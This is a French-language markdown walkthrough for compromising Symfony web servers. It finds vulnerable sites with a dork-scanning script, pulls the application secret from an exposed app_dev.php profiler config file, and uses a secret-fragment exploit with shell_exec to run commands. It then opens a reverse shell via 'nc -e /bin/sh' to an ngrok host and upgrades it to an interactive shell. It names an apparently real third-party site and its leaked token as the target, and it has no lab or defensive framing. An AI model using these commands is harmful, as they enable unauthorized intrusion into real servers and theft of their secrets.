# Reverse shell symphony server
## Reconnaissance
On va commencer par chercher un site vulnérable, pour se faire on va utiliser un script dispo [ici](https://github.com/bizibabe/symfony-check-vuln-google-dorks.git).
On lance le script, qui nous sort une liste de serveurs vulnérables.
```
python3 check-symfony.py
```

ici on voit que le site: https://backoffice.gaph.online par exemple est vulnérable.
on ouvre l'url :
https://backoffice.gaph.online/app_dev.php/_profiler/open?file=app/config/parameters.yml&line=1

On y trouve plusieurs info, dont dont le token qui correspond au secret
Il faut maintenant vérifier si le site poutrable, pour se faire on va utiliser un script disponible [ici](https://github.com/ambionics/symfony-exploits)
```
python3 secret_fragment_exploit.py https://backoffice.gaph.online/app_dev.php/_fragment -s 2123c1084eefadce3f275f7427c8721ber
```
!!! info
- ajouter _fragment apres app_dev.php/
- -s correspond au token
envoyer une commande :
```
python3 secret_fragment_exploit.py https://backoffice.gaph.online/app_dev.php/_fragment -s 2123c1084eefadce3f275f7427c8721ber --method 1 --function shell_exec --parameters cmd:ls
```
Si la commande passe, on peut surement obtenir un reverse shell
## Reverse shell
Créer un tunnel Ngrok :
```
./ngrok tcp 9999
```
se mettre en mode écoute :
```
nc -lnvp 9999
```
puis lancer un shell sur le srv distant via la commande **nc -e /bin/sh 6.tcp.ngrok.io 19821** :
```
python3 secret_fragment_exploit.py https://backoffice.gaph.online/app_dev.php/_fragment -s 2123c1084eefadce3f275f7427c8721ber --method 1 --function shell_exec --parameters cmd:'nc -e /bin/sh 6.tcp.ngrok.io 19821'
```
A partir de la on a un reverse shell sur le serveur distant.
## Reverse shell interactif
0) exec bash
1) nc -lnvp 8888
2) python -c 'import pty; pty.spawn("/bin/bash")'
3) CTRL Z
4) stty raw -echo
5) fg (ca va rien écrire c'est normal)
6) reset
7) export TERM=xterm